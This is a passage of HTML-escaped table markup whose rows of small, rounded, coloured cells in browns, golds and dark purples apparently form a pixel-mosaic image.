&lt;td style=&quot;background-color: #635946; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #674732; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #73472f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e432a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #634129; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #63472c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d5a2c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #76582d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #73572b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d5f2a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e5025; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #573b23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #503a24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d3923; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #453122; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #533721; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c1b22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c1824; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #411f22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e3c1c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c19540; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ddb95d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e1be65; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e4c163; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e5c061; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e1bb59; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e1bc5c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e2bf65; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ddb859; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d1aa4c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b98f35; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d4c1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #60301a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #623b1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #39211c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #26141c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a1d1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #41221f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #341a1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #372622; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #524423; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #817136; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8c7d40; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b7d41; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b7939; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #847137; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #80713c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #817143; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #756a46; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #695d43; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #645643; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #694731; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6a4731; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #64452c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b4928; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5f3d2a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c5c30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8d7030; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #927630; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #896c2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #795a24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #614520; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #624824; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6a4720; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b2e21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f1c22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281721; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #442321; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a4420; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a77129; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dcb654; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e3c061; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e6c669; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e9c667; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e5c162; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e3be5f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e8c462; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e5c266; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dbb657; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d2ad4e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b48833; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b4518; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #613219; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #57341c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3c251c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b301f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #694522; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #704c26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b3923; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #392122; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #331f21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b3622; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b532a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d6938; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a7a42; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8d7e43; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #94854c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #97864e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #96824a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #857043; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d5b40; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #633e34; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #714830; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e482c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b4829; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #624129; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #67422b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #633e2a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #785630; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #896a2e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #826026; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f5e24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #765023; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #412623; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #261927; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #301e25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f1921; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #784c26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c5953c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d7b252; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e3c25e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e5c363; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e6c466; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e8c56b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ebc971; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e9c86e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e8c669; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e7c56a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e0bd5c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d3ad4a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b0802c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #814d1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d4421; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a5525; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #936c2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b722e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8d662e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #77552c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5c3e26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3e2824; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #271824; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #211527; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e1c25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d2e26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #65412f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #644a38; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #65523f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d6f47; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8f804d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #97854b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #907f4d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #583839; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #794c34; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #73492c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #734b2d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #72492a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7e552e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #764e2c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #76502e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #845d2a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #895f29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #916a2c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #503529; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c1228; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #301f26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #301c23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3d2121; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a4e26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c69c43; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e4c45d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ebcd65; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e5c261; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e5c466; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #eed071; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #eed57d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #edd57f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ebd179; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ebcf77; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #eccb6c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d4ae4c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa8132; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #845f2a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b5928; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #755328; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5f4227; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #472d20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #352021; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241620; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1421; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c1322; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c1625; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201929; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
